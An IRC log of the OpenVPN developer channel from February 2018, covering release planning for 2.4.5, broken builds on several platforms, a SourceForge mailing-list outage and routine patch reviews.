pekster> That might reduce overhead of running platforms, and avoid something like a completely separate product (hosting, maintenace, etc, etc) by the community 15:35 <@dazo> yeah 15:37 <@dazo> I'll definitely ask around internally 15:39 < pekster> Sounds good, thanks for some of the detail and high-level thoughts here 15:42 <@dazo> yw! 15:55 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 15:56 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 15:56 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 16:11 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 16:12 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 16:12 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 20:36 <@ordex> plaisthos: https://forums.openvpn.net/viewtopic.php?f=33&t=25828 20:37 <@vpnHelper> Title: android studio Error: Error:A problem occurred configuring project ':main'. - OpenVPN Support Forum (at forums.openvpn.net) --- Day changed Wed Feb 14 2018 02:13 <@mattock> syzzer: re: meeting: ok, then we may be able to arrange one at a quick notice 02:14 <@mattock> dazo: no Trac replacements thank you :) 02:16 <@mattock> rather clean up the front page and/or have a separate "landing page" outside of Trac 02:18 <@mattock> when I and novaflash were working on an openvpn.net replacements (which got blocked by the mentioned integrations) I actually created a static community download page which looks exactly like Trac but is, well, static 02:20 <@mattock> Trac has full suppor for theming, templates, CSS and all that, so adapting it to whatever style we choose is not an issue 02:21 <@mattock> plus it has a variety of plugins which modify its functionality and outlook (e.g. modify the navigation button rows which we use) 02:27 <@mattock> regarding cleanups: Trac ticket "Severity" field options are silly at the moment 02:28 <@mattock> the options were customized to track things not at all related to severity, and most of the options are tracked in Patchwork 02:29 <@mattock> and I don't really think that field has ever really been used, because the options have not made any sense, except maybe in the very beginning 02:30 <@mattock> anyhow: syzzer said he'd be able to do a meeting today 02:30 <@mattock> who else? cron2 seemed unavailable, so we'd need dazo if we want to do release planning 02:32 * syzzer_ still available 02:33 < syzzer_> (as is syzzer, but that bouncer is currently firewalled so well that I can't reach it from work :') ) 02:38 <@mattock> ok :) 03:25 <@mattock> let's do a "wait and see" regarding the meeting 03:30 <@vpnHelper> RSS Update - tickets: #1018: OpenVPN Trademark violation by Mikrotik <https://community.openvpn.net/openvpn/ticket/1018> 04:30 < syzzer_> guess no meeting today :p 04:42 <@plaisthos> ordex: people cannot even be bothered to check error messages 04:42 <@plaisthos> I bet it is telling him that swig or cmake are missing 04:42 <@ordex> plaisthos: I know 07:46 < eworm> Has the release been postponed again? 10:27 <@cron2> syzzer: release 2.4.5 got flu'ed last week, sorry for that. I'd like to do it next week, but need to sort myself when we're back home on Saturday evening 10:30 <@cron2> eworm: spent most of last week sleeping, and that messed up lots of things :( 10:57 -!- Netsplit *.net <-> *.split quits: @vpnHelper 10:58 -!- Netsplit over, joins: vpnHelper 10:58 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Thu Feb 15 2018 01:04 <@mattock> cron2: sounds good 01:05 <@mattock> that is, "next week if possible" 10:03 <@cron2> right 11:26 <@vpnHelper> RSS Update - tickets: #1019: OpenVPN Connect iOS used 2.1GB cellular data this period <https://community.openvpn.net/openvpn/ticket/1019> || #1020: OpenVPN Connect iOS used 2.1GB cellular data this period <https://community.openvpn.net/openvpn/ticket/1020> 14:38 -!- subo_ is now known as subo 14:57 -!- subo is now known as Subo1978 15:02 -!- Subo1978 is now known as Subo 15:38 <@plaisthos> ordex: the openvpn forum poster tried to post the same error on my bug tracker and thinks maybe I will give him a different answer 15:38 <@plaisthos> https://github.com/schwabe/ics-openvpn/issues/843 18:56 <@ordex> plaisthos: LOL 22:26 <@vpnHelper> RSS Update - tickets: #1021: Collision of parallel Key Renegotiations (based on reneg-sec) <https://community.openvpn.net/openvpn/ticket/1021> --- Day changed Sat Feb 17 2018 05:44 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 260 seconds] 05:44 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 05:44 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Sun Feb 18 2018 02:31 <@cron2> re 02:31 * cron2 is back home, need to unpack tons of stuff, wash heaps of clothes, and read a backlog of a zillion mails... 02:45 <@ordex> cron2: good luck :D 14:25 -!- kitsune1 is now known as kumiho 14:29 -!- kumiho is now known as kitsune1 --- Day changed Mon Feb 19 2018 08:05 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 08:14 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Quit: offlining host] 08:31 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 15:20 < tincantech> is elfredy capadan really an openvpn tech inc employee ? https://forums.openvpn.net/viewtopic.php?f=33&t=25867&p=76949#p76949 15:20 <@vpnHelper> Title: What are the new intents to start/stop connections? - OpenVPN Support Forum (at forums.openvpn.net) 15:31 -!- kitsune1 is now known as kumiho 16:27 <@plaisthos> tincantech: I would assume from his signature 18:46 < tincantech> plaisthos: I just wanted to make sure .. thanks 18:51 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 19:34 <@ordex> tincantech: yes he is 20:26 <@vpnHelper> RSS Update - tickets: #1022: OpenVPN Log is always empty <https://community.openvpn.net/openvpn/ticket/1022> 20:32 <@vpnHelper> RSS Update - tickets: #1022: iOS: OpenVPN Log is always empty <https://community.openvpn.net/openvpn/ticket/1022> || #1019: iOS: used 2.1GB cellular data this period <https://community.openvpn.net/openvpn/ticket/1019> --- Day changed Tue Feb 20 2018 00:05 -!- kumiho is now known as kitsune1 01:03 <@vpnHelper> RSS Update - tickets: #1023: OpenVPN Connect for Android: Can't install: "No Carrier" <https://community.openvpn.net/openvpn/ticket/1023> 01:40 <@cron2> ordex: who is "yuriy"? 01:41 <@ordex> cron2: OpenVPN Inc.'s employee that is now responsible for the Connect for Android app 01:43 <@cron2> aha! OpenVPN Inc growing like hell, it seems :-) 01:43 <@cron2> where is he based? 02:01 <@ordex> Ukraine 02:02 < eworm> Any news on a release? 02:02 <@cron2> exciting :) 02:02 <@cron2> eworm: merging patches right now... "soonish" 02:02 <@cron2> mattock: how's your time availability this week? 02:20 <@mattock> cron2: I'm working 02:20 <@mattock> wed is not doable, but thu may be (for 2.4.5) 02:20 <@cron2> mattock: shall we aim for thu, then? 02:23 <@mattock> sounds good 03:09 <@cron2> syzzer: are you around? 03:14 <@vpnHelper> RSS Update - gitrepo: Log pre-handshake packet drops using D_MULTI_DROPPED <https://github.com/OpenVPN/openvpn/commit/c215c58f2393e881e16f9805549316a1e257a682> 03:15 <@ordex> yeeee 03:20 <@cron2> ordex: yes? 03:22 <@ordex> just celebrating the commit :] 03:23 <@cron2> that simple one? what are you going to do when I come around to some of the bigger ones, lingering for months already... 03:25 <@vpnHelper> RSS Update - tickets: #1024: iOS 1.2.8: ECDSA doesn't work <https://community.openvpn.net/openvpn/ticket/1024> 03:31 <@ordex> cron2: that will be a good excuse to pop some bottle :D 03:31 <@vpnHelper> RSS Update - tickets: #1024: iOS: ECDSA doesn't work <https://community.openvpn.net/openvpn/ticket/1024> 03:41 <@cron2> your iOS stuff is spamming our trac quite a bit :-) 03:43 <@cron2> gcc: Internal error: Killed: 9 (program cc1) 03:43 <@cron2> meh 03:43 <@vpnHelper> RSS Update - gitrepo: Enable stricter compiler warnings by default <https://github.com/OpenVPN/openvpn/commit/adbf68c00bf40089489c5e039138f855fc5e2392> 03:46 <@ordex> :P 03:51 <@cron2> fatal: unable to connect to git.code.sf.net: 03:51 <@cron2> git.code.sf.net[0: 216.105.38.16]: errno=Connection refused 03:52 <@cron2> today is not the day where my buildslaves are happy with the world 04:01 <@cron2> dazo: could you look at this? something in the autoconf / AX_CHECK_COMPILE_FLAG patch blew up, after all... 04:01 <@cron2> ./configure: line 24067: syntax error near unexpected token `newline' 04:01 <@cron2> (centos 6) 04:01 <@cron2> ./configure: line 24067: `AX_CHECK_COMPILE_FLAG(' 04:02 <@cron2> mattock: it's still scheduling multiple runs on freebsd 10 04:06 <@vpnHelper> RSS Update - gitrepo: show the right string for key-direction <https://github.com/OpenVPN/openvpn/commit/7f7f00da88eeea847da57f4f34c66c1f4a935a73> 04:16 <@mattock> cron2: but not on other platforms? 04:19 <@cron2> mattock: maybe the others do not have t_clients setup, or the timing is different - but freebsd 10 fails on every commit with the typical "things are already pinging but should not" error 04:19 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 268 seconds] 04:19 <@cron2> run pre-openvpn ping tests - targets must not be reachable... 04:19 <@cron2> FAIL: IPv4 ping test succeeded, but needs to *fail*. 04:26 <@ordex> it fixes itself! 04:26 <@cron2> :-P 04:27 * ordex can see blood all over the place 04:30 <@cron2> the amount of red in the buildbot display is not pretty, indeed 04:32 <@cron2> mattock: mmmh, maybe not. Seems the t_client run on Jan25 got stuck, for whatever reason 04:32 <@cron2> (so indeed, it was already running, but not buildbot's fault) 04:33 <@cron2> killing, and monitoring 04:36 <@vpnHelper> RSS Update - gitrepo: Allow external EC key through --management-external-key <https://github.com/OpenVPN/openvpn/commit/7eca140c70ff76177371dc94c19aeb8644c2c3b5> 04:49 <@ordex> rain of spam for dazo today 04:50 <@cron2> I don't think he gets the openvpn-build failure mails... those are only for mattock, tincantech and me to enjoy 04:55 <@ordex> apparently I am part of the funny gang that enjoys them :D 04:55 <@cron2> ah... so, have fun :) 04:56 <@ordex> :P 05:46 <@vpnHelper> RSS Update - tickets: #1024: iOS: ECDSA doesn't work when imported as PKCS#12 (.ovpn12 file) <https://community.openvpn.net/openvpn/ticket/1024> 06:28 <@vpnHelper> RSS Update - gitrepo: Make most registry values optional <https://github.com/OpenVPN/openvpn/commit/db04bca6729e9fe1ea60f0b3bd0329244a6ed611> || Ensure strings read from registry are null-terminated <https://github.com/OpenVPN/openvpn/commit/b1263b06db40f21a8fd20e0efd0c12e37ce89a2c> 06:30 <@cron2> ordex: still excited about patch merging? 06:31 * cron2 feels a bit lazy about reviewing https://patchwork.openvpn.net/patch/229/ 06:54 <@cron2> mattock: meeting topic -> 2.4.5 release, currently broken(!) on centos-6, opensolaris, OpenBSD 06:57 <@cron2> mattock: another meeting topic -> buildbots and git.code.sf.net[0: 216.105.38.16]: errno=Connection refused 07:05 <@cron2> syzzer: ping? 07:10 <@vpnHelper> RSS Update - gitrepo: travis-ci: modify openssl build script to support openssl-1.1.0 <https://github.com/OpenVPN/openvpn/commit/437be780996501becb18f0d34c256ab9c9fe27af> || Use lowest metric interface when multiple interfaces match a route <https://github.com/OpenVPN/openvpn/commit/3854d4040e0d6fd2a58292e8bb1c1fbae5c17bb1> 07:14 <@cron2> so, if you all stop talking to me, I'll go and drink coffee instead...! 07:17 <@mattock> cron2: ok adding topics 07:22 <@cron2> thanks 07:28 <@mattock> invitation sent 07:46 <@vpnHelper> RSS Update - gitrepo: reliable: remove reliable_unique_retry() <https://github.com/OpenVPN/openvpn/commit/2af8853ec23ac33f02cce816f686702e7c6516a7> 07:53 <@cron2> so, now sf.net mail has fallen apart it seems... 07:59 <@plaisthos> I will be most definitively not make it to tommorrows meeting, but keep your fingers crossed for my phd defense 07:59 <@cron2> I will! 09:17 <@ordex> cron2: 61 new emails from when I left 09:17 <@ordex> not bad 09:22 <@cron2> especially since the sf.net list has gone out of service in the mean time 09:41 <@ordex> lol 09:41 <@ordex> probably because of you! 09:46 <@mattock> I unfortunately have received some emails, though nothing in last 2 hours from sf.net 09:46 <@mattock> :P 09:50 <@ordex> too bad for you 10:01 <@cron2> *grumble* if the lists do not return to working, we need to postpone *again* 10:07 <@cron2> mmmh 10:07 <@cron2> interactive service does not start anymore for me, with latest 2.5 snapshot 10:15 <@ordex> what did you do? 10:15 <@ordex> you broke it.. 10:15 <@ordex> :p 10:17 <@cron2> seems everything I merged today blew up something 10:17 <@cron2> maybe I should stop 10:30 <@cron2> dazo: around now? 10:30 <@mattock> hmhmh 10:30 <@cron2> mattock: you can add windows to the list of broken platforms... :-/ 10:31 <@mattock> cron2: the good thing is that we _know_ things blew up before releasing anything 10:31 <@mattock> so this is actually good :) 10:31 <@mattock> I will 10:31 <@cron2> (Selva is already looking into it, and in theory our mails should show up eventually, as all is cc'ed openvpn-devel@... but this is so annoying with half the mail flow being stalled somewhere) 10:31 <@mattock> done 10:31 <@cron2> thanks 10:31 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2018-02-21 10:31 <@vpnHelper> Title: Topics-2018-02-21 – OpenVPN Community (at community.openvpn.net) 10:47 <@plaisthos> for whom is selva working, openvpn inc too or just very into openvpn development? :) 10:51 <@cron2> he's working for a university (physics, material testing) and just doing openvpn as a hobby... 10:52 <@cron2> (and most likely to support their own openvpn setup or so) 10:52 <@cron2> oh, openvpn-builds@lists.sf started sending mails again... so maybe the rest will be back soon as well 10:52 <@cron2> mattock, ordex: have you seen dazo today (virtually, that is)? 10:59 < selvanair> cron2: Was it 2.5 that failed to start the service. It works for me.. now building 2.4 11:21 < selvanair> cron2: iservives in 2.4 local build and snapshot build works on Windows 10. Have to go now, but will test Win7 later today when I can get hold of a one. 11:22 < selvanair> s/iservives/iservice 11:57 <@mattock> cron2: I have not seen dazo 12:49 < syzzer_> cron2: you've been busy! 12:54 < syzzer_> I'll see if I can reproduce on centos 6 12:56 < syzzer_> internet is down at home, so have to thether everything over LTE... 12:58 < syzzer_> plaisthos: good luck tomorrow! 13:03 < syzzer_> cron2: okay, so, this new macro of ours requires at least autoconf 2.64, and centos 6 ships with 2.63 13:04 < syzzer_> I guess there's something newer in EPEL or so 13:10 < syzzer_> we could revert back to the pre-2015 version, that only needs autoconf 2.59 13:10 < syzzer_> (of the macro, that is) 13:31 < syzzer_> cron2: what is the autoconf version on the opensolaris box? 13:35 <@cron2> syzzer_: why does the macro depend on a particular version? but anyway - indeed, I've been busy braeaking platforms :-) - osol10 has 2.61 13:35 <@cron2> reverting to the "needs 2.59" version sounds like a good plan 13:38 <@cron2> configure.ac:1295: error: Autoconf version 2.64 or higher is required 13:38 <@cron2> m4/ax_check_compile_flag.m4:60: AX_CHECK_COMPILE_FLAG is expanded from... 13:38 <@cron2> that error message is new... have you told centos6 buildbot to build a special branch? 13:45 < syzzer_> no, this just arrived in my mailbox 13:46 <@cron2> this is a bit strange, as the first runs actually produced a configure which ran, and then failed - while the later runs already failed in autoreconf and then "./configure - no such file" 13:47 <@cron2> but anyway, since you can reproduce it, it does not really matter what buildbot prints 13:53 < syzzer_> this docker thing actually came in quite handy here 13:54 < syzzer_> "ducker run -it centos:6", et voila, testing evn 14:00 <@cron2> nice 14:03 <@cron2> this non-working list annoys me too much, I go watch tv and continue the various battles tomorrow... one no-show windows patch, iservice broken on win7, centos and osol broken in configure, openBSD broken in libressl (ec signing patch)... enough damage for a day 14:04 < syzzer_> hehe, yeah 14:05 < syzzer_> it's been a productive day for you :p 14:44 <@vpnHelper> RSS Update - tickets: #1025: iOS: OpenVPN Connect stops working after update to 1.2.8 <https://community.openvpn.net/openvpn/ticket/1025> 15:03 < tincantech> buildbot bomb ! 15:32 <@vpnHelper> RSS Update - gitrepo: Move code to free cd to a function CAPI_DATA_free() <https://github.com/OpenVPN/openvpn/commit/29a475c6ce0fa51b173121033cbd0f280948e06c> 19:29 <@ordex> cron2: no 20:06 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 20:06 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Wed Feb 21 2018 01:32 <@cron2> good morning 01:38 <@ordex> morgen 01:55 <@cron2> I can not work this way *stomp feet* 04:10 < syzzer_> seems my patch to fix the autoconf stuff hasn't arrived at the list yet either... 04:10 < syzzer_> (sent yesterday evening) 04:12 <@cron2> no, list is effectively dead 04:13 <@cron2> I received one last mail at 21:xx yesterday (that I set around 17:00) 04:13 <@cron2> can you bounce it to me directly? 04:14 <@cron2> (which isn't exactly helping with the workflow as I can't reference the archive URL before it actually hits the archive, patchwork, etc., but at least I can see what is pending) 04:14 * cron2 has sent a windows / netsh.exe bugfix patch yesterday as well, which is also not visible yet 04:14 <@cron2> 08:55 <@cron2> I can not work this way *stomp feet* 04:18 < syzzer_> cron2: once I get home tonight... 04:18 <@cron2> ah, we do a race :-) either you get home first, or they fix their lists 04:26 <@dazo> mattock: it seems we seriously need to look into moving the mailing lists to something we have better control of .... sf.net is slowly deteriorating into useless tool set 04:27 <@cron2> while I'm seriously and totally annoyed, I need to defend them a bit - seems they have been moving everything to a new datacenter, and from work experience I know that this never works out without some issues 04:28 <@cron2> this time it seems to be spam filters that are greylisting their new IP addresses... so, overload on the mail servers because stuff does not go out 04:28 <@cron2> they *could* be a bit more proactive about "what is going on", though... nothing in their status blog, and not much in their twitter account 04:29 <@cron2> anyway... off to meeting... 04:29 <@mattock> yes 04:29 <@mattock> let's see if SF.net mailing lists return into fully working state 04:29 <@mattock> if the problem persists we can use the commercial "mailmanlists" service for example 04:30 <@dazo> fair points ... but this has been a trend going for a long time, though, and some times it does explode quite a lot like now ... if we can get corp to cash out for a hosted mailman list, that might in the end turn out better for us - and we can truly complain if it stops working :P 04:30 <@mattock> the price is very reasonable, something like $5/mo 04:31 <@cron2> if that one works reasonably well (like, no massacering of From: headers and such, or converting everything into HTML...) I'm not opposed to it 04:32 <@cron2> syzzer_, ordex: you awake? 04:32 <@ordex> yup 04:35 < syzzer_> cron2: yes - upgrading server farm @ work 04:35 < syzzer_> so slightly distracted 04:43 < Joost> I tried sending a patch to the mailinglist yesterday, but it's not showing up in the archives; I was wondering if it made it through 04:44 < Joost> (this is my first time sending an email to openvpn-devel, and my first time using git send-email, and my first time interacting with sourceforge mailinglists) 04:44 <@cron2> list is not working properly right now - sf.net is moving to new datacenters, and their lists stopped working around 4pm MET yesterday 04:44 < Joost> a-ha! 04:44 <@cron2> you picked a bad time for a first-time interaction ;-) 04:45 < Joost> classic :') 04:46 <@mattock> :) 04:47 < Joost> alright, not very urgent anyway - I'll see if it comes through when they're back up 06:10 <@cron2> dazo: this "issue" is more of an annoyance ("look, ma, I found something") - the management interface is exclusive, so if you run openvpn from the GUI, the management interface is not accessible (because the GUI talks to it), and if you run openvpn *without* the GUI, why would your config include management interface settings? 06:16 <@dazo> cron2: oh, good point! 06:17 <@dazo> it's almost like "I'm using iptables ... iptables -I INPUT -j ACCEPT" 06:18 <@cron2> yeah, you can shoot yourself in the foot here, if you set everything properly, and tell attackers on the port to use. But then, you can also use --cipher none, which might be less work to shoot yourself :-) 06:18 <@dazo> heh, yeah :) 08:08 <@ecrist> --cipher none; --client-cert-not-required 08:11 <@cron2> sounds like a quick and easy way to get the VPN going :) 08:18 <@ordex> mah 08:18 <@ordex> ! 09:28 <@cron2> grumble, still no mail 10:27 <@cron2> grumble 10:37 <@ordex> one email received 10:51 <@cron2> oh, yeah, buildbot-fail mail! 10:51 <@cron2> I have actually received more than one. Yay. 10:53 < syzzer_> but not mine :( (or at least, my work mailbox hasn't received the mail from the my private one of yesterday evening) 10:54 <@cron2> yours not yet. Selva's LibreSSL patch has arrived here and in patchwork \o/ 10:54 <@cron2> my own patch is also not there yet 10:55 <@cron2> and neither is Selva's RegGetValue() patch... 10:55 * cron2 feigns patience... (kids need dinner now anyway) 10:55 < syzzer_> I got some "Fix removal of on-link prefix" patch in my inbox 10:56 <@cron2> yay, that's mine! 10:57 <@cron2> oh, indeed, it's in patchwork as well (237), AND in my mailbox. Wonders! 10:57 <@cron2> good :) 11:18 < rmax> Hi, I am just debugging a systemd issue with openvpn on openSUSE and would like to discuss some thoughts with an openvpn core developer. 11:20 < rmax> I think openvpn signals READY=1 too early in init.c, which affects cases when openvpn needs to ask the user for credentials. 11:21 < rmax> I fixed the issue by moving this down into initialization_sequence_completed(). 11:22 < rmax> Problem is when starting an openvpn through systemctl, systemctl starts an instance of systemd-tty-ask-password-agent in case the service needs it. It stops that as soon as it receives READY=1 from the service. 11:23 < rmax> But OpenVPN first signals READY=1 to systemd and then starts systemd-ask-password to ask for the key passphrase, but at that point the agent to handle that request is already gone. 11:24 < rmax> It might still work if another agent is being run, e.g. by the desktop environment or by some other service. 11:26 < rmax> But when starting an openvpn instance through sysyemd from a TTY the most obvious place to ask for the passphrase would be that TTY, and that only works if openvpn doesnt signal READY=1 until at least the key has been unlocked, but for client instances I think it'd make sense to defer READY until the tunnel is actually up. 11:27 < rmax> For server instances it needs to be different, of course, but I haven't yet found the right place to do it for them. 11:27 < rmax> Any thoughts? 11:33 < rmax> Sorry, gotta go. Will check back tomorrow. 11:47 <@cron2> yay, more mails 11:47 <@cron2> and ACKs even 12:05 <@cron2> so, let's test the list... :) 12:06 <@vpnHelper> RSS Update - gitrepo: Disable external ec key support when building with libressl <https://github.com/OpenVPN/openvpn/commit/028b501734b4a57dc53edb8b11a4b370f5b99e38> 12:12 <@cron2> syzzer: your configure patch seems to be so ugly that the list server is refusing to transport it... 12:21 <@syzzer> cron2: I just bounced it to you and patchwork 12:28 <@syzzer> (though I don't see it appearing on patchwork...) 12:29 <@syzzer> let me know if you did receive it - otherwise I'll just resend with you in CC 12:38 <@cron2> I think patchwork does not like configure patches either :) 12:38 <@cron2> testing windows patch from Selva now, then looking again... 12:41 <@cron2> ah, there it is! 12:41 <@cron2> at least in my mailbox... 12:53 <@vpnHelper> RSS Update - gitrepo: Adapt to RegGetValue brokenness in Windows 7 <https://github.com/OpenVPN/openvpn/commit/7de0ee4f6f6f44fab48717e4cc2073ff4e8580f6> 12:54 <@cron2> hah 12:54 <@cron2> arrived on patchwork and mail-archive.com, now I can go ahead 13:01 <@ordex> it's an infinite flow of emails .. 13:01 <@ordex> :D 13:03 <@cron2> most finite, the lists are still slow :-) 13:04 <@cron2> like, my "applied!" mail to selva / GetRegValue is still not showing up on mail-archive.com - while it *is* showing up on patchwork 13:16 <@vpnHelper> RSS Update - gitrepo: Get rid of ax_check_compile_flag.m4 <https://github.com/OpenVPN/openvpn/commit/6a5d10e96b9ad2f9a9472aeee8cdb7c02fe4d050> 13:19 <@cron2> so, yesterday's breakage is fixed. For 2.4 release, I'd like an ACK on https://patchwork.openvpn.net/patch/237/ (I assume that will come from Selva or JJK) and need to review /92/ - but we're getting there :) 13:19 <@vpnHelper> Title: [Openvpn-devel] Fix removal of on-link prefix on windows with netsh - Patchwork (at patchwork.openvpn.net) 13:22 <@cron2> funky. "make check" on AIX7 tries "cipher DES-EDE3-CFB1" and fails 13:22 <@cron2> Wed Feb 21 20:19:15 2018 Entering OpenVPN crypto self-test mode. 13:22 <@cron2> Wed Feb 21 20:19:15 2018 TESTING ENCRYPT/DECRYPT of packet length=1 13:22 <@cron2> Wed Feb 21 20:19:15 2018 SELF TEST FAILED, pos=0 in=17 out=0 13:22 <@cron2> everything else, including DES-EDE3-CFB8 and DES-EDE3-OFB, works 13:29 <@cron2> tincantech: arch, centos-7, debian-85 are offline... 13:31 <@cron2> plaisthos: restarted the buildslave on pan, it went away a week ago, for whatever reason 13:32 <@cron2> much more green now :-) (= centos-6 finished first build, all green) 13:32 <@cron2> lol, seems macos did not like the configure patch either, we just didn't see it because the buildslave was offline... 15:46 <@vpnHelper> RSS Update - gitrepo: manpage: fix simple typ0 <https://github.com/OpenVPN/openvpn/commit/7bba4007824cc7fe7ba487210222b546de9269f0> 23:26 <@vpnHelper> RSS Update - tickets: #1025: iOS: mobileconfig stops working after update to 1.2.8 <https://community.openvpn.net/openvpn/ticket/1025> --- Day changed Thu Feb 22 2018 00:49 <@cron2> mattock: ubuntu 12.04 is yours? it is highly unhappy with "exception git" for all builds 00:49 <@cron2> looks like disk full or something like that 01:00 <@cron2> eworm: release date is thursday next week (mar 1) 01:01 <@cron2> most stuff is in, but we decided yesterday to not rush it - and the sf.net list outage broke my workflow for about a day, so it was either "postpone once more" or "rush things" 01:05 < eworm> cron2: I did follow the meeting and expected things to be postponed again. ;) 01:06 < eworm> I am not in a rush as well. Just wanted to be ready to push updated packages. 01:12 <@cron2> good :) 01:21 <@cron2> syzzer: if you could have an extra look on https://patchwork.openvpn.net/patch/242/ that would be appreciated 01:21 <@vpnHelper> Title: [Openvpn-devel,for-master,v2] Fix format spec errors in Windows builds - Patchwork (at patchwork.openvpn.net) 03:15 <@mattock> cron2: re: ubuntu 12.04: yes, it is mine 03:15 <@mattock> I will have a look 03:28 <@mattock> cron2: there was no obvious reason why ubuntu 12.04 was broken (i.e. not out of diskspace, running git commands manually worked) so I restarted the buildslave 03:28 < syzzer_> cron2: patch looks good, but don't have time to test now. reply on the list 03:28 <@mattock> at least now it got past the Git step 03:28 < syzzer_> mattock: 12.04 is no longer supported since last year, right? You could also just kill the buildbot. 03:31 <@cron2> syzzer_: thanks 03:31 <@mattock> syzzer: yeah, I could 03:31 <@mattock> if the restart does not fix it then that is probably the thing to do 04:56 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 04:56 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 04:56 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 04:59 -!- siruf_ is now known as siruf 05:25 -!- mode/#openvpn-devel [+o d303k] by ChanServ 06:34 <@cron2> tincantech: welcome back. Most of your buildslaves are offline... 06:47 < tincantech> cron2: yeah .. sorry but the pc has had problems .. 06:48 < tincantech> if youever have "the pleasure" of using a program called testdisk .. it is a fantastic bit of code and it recovered a complete drive after a catastrophic failure 08:36 < syzzer_> tincantech: yeah, I recall having good experiences with testdisk too :) 08:36 < syzzer_> made a friend of mine really happy that she got her holiday pictures back 09:35 <@vpnHelper> RSS Update - gitrepo: Fix format spec errors in Windows builds <https://github.com/OpenVPN/openvpn/commit/06ad53e067d9a8be571a27f44005fa7e8038f69e> 09:47 <@cron2> so. All of Tuesday's breakage plus a few more open things have been fixed and merged 09:47 <@vpnHelper> RSS Update - gitrepo: Fix removal of on-link prefix on windows with netsh <https://github.com/OpenVPN/openvpn/commit/2cea72005cb5a825c25494959d550ae16562676a> 09:47 <@cron2> 2.4 is in good shape for release (but I'll see that I get a few more things in over the next days) 09:50 * eworm could give it some testing... 09:55 <@cron2> syzzer: since you reviewed v1 of this, could you have a look at https://patchwork.openvpn.net/patch/217/ ? 09:55 <@vpnHelper> Title: [Openvpn-devel,v2,2/3] Move setting private key to a function in prep for EC support - Patchwork (at patchwork.openvpn.net) 10:52 < syzzer_> cron2: yeah, I'll re-review 11:45 <@cron2> thanks 12:48 <@cron2> syzzer: do you have some time in the next days to discuss patch 92 ("ccd cipher")? I'm a bit confused about things - but right now I'm way too tired, so "not now" 12:58 <@syzzer> cron2: my available time is quite spotty (tomorrow is meeting marathon friday according to my calendar...) 12:59 <@syzzer> but I'll keep an eye on IRC and try to respond to questions :) --- Day changed Fri Feb 23 2018 01:07 < eworm> Running version 2.4.4.r65.gb8f56fad now without issue. 01:25 <@cron2> cool 01:29 <@cron2> syzzer: yay, I just received another copy of ACL_CHECK_ADD_COMPILE_FLAGS, and found this beauty 01:29 <@cron2> + AC_MSG_CHECKING([whether the compiler acceppts $1]) 02:03 <@vpnHelper> RSS Update - gitrepo: Move setting private key to a function in prep for EC support <https://github.com/OpenVPN/openvpn/commit/6963570165224c4d3e18caedf570f6199651ba9d> 02:08 <@cron2> syzzer: now we need a review of https://patchwork.openvpn.net/patch/208/ to close this particular project... 02:08 <@vpnHelper> Title: [Openvpn-devel,3/3] Support EC certificates with cryptoapicert - Patchwork (at patchwork.openvpn.net) 02:48 < syzzer_> cron2: oh, darn :') 02:49 < syzzer_> I'll send a typo fix path this weekend... 02:49 < syzzer_> and yeah, I'm aware I need to find time for 3/3 02:50 * cron2 will happily merge that, but does not really care about that typo - I looked at the configure output at least 5 times and did not notice, so it's not *really* important :-) 02:50 <@cron2> ("you're just driving up your commit ranking again!" :)) 02:50 <@cron2> and you have the lead anyway... 2.4.4..2.4.5, so far: 02:51 <@cron2> Steffan Karger (18): 02:51 <@cron2> Selva Nair (14): 02:51 <@cron2> Simon Rozman (11): 02:51 <@cron2> Gert Doering (2): 02:51 <@cron2> (yay, I got two!) 02:51 < syzzer_> I'll happily ack a typo fixup too ;-) 02:52 < syzzer_> get yourself another commit 02:52 <@cron2> nah 02:52 * cron2 would need to find 16 trivial things... I have one typo fix, and one unused label, but would need 14 more... :) 02:54 <@ordex> you can introduce 15 typos with one patch and then fix them 1 by 1 :P 02:54 <@ordex> muhahauahaua 02:54 <@ordex> :-P 03:03 <@cron2> ordex: right, but I would need someone sloppy to ACK the 15-typo-patch first :) 03:03 <@ordex> hehe 03:04 <@cron2> ordex: can I interest you in reviewing https://patchwork.openvpn.net/patch/229/ ? 03:05 <@vpnHelper> Title: [Openvpn-devel] mbedtls: dont use API deprecated in mbed 2.7 - Patchwork (at patchwork.openvpn.net) 03:05 <@ordex> oh sure - I just went through something related yesterday 03:05 <@cron2> that's why I asked :-) - assuming that you run into all the mbedtls related things on iOS/3 anyway 06:39 <@cron2> syzzer: shall I merge 229 as is, with the mbed_ok() in a new patch, or do you want a v2 with "both in one"? 06:42 < syzzer_> I'll send a new patch later 06:51 <@cron2> so "merge 229 as is"? 07:55 < syzzer_> cron2: yeah, sorry, that was ambiguous 10:33 < tincantech> ordex: ipv6pf ? seems to be lingering away .. 10:34 <@ordex> yeah 10:34 <@ordex> it's on the ml 11:33 <@dazo> tincantech: after we tossed OpenVPN Connect for iOS and Android at ordex ... we manage to make him work twice as hard ... and we're now looking into how to clone him to make him scale better! 11:34 <@ordex> lol 11:34 <@ordex> not sure it's a good idea, that would bring double the amount of issues :-P 11:34 <@dazo> but that would still be _your_ issued :-P 11:34 <@ordex> btw ipv5pf is on the ml ready for review since a bit (it may require some rebasing though) 11:34 <@ordex> :D 11:34 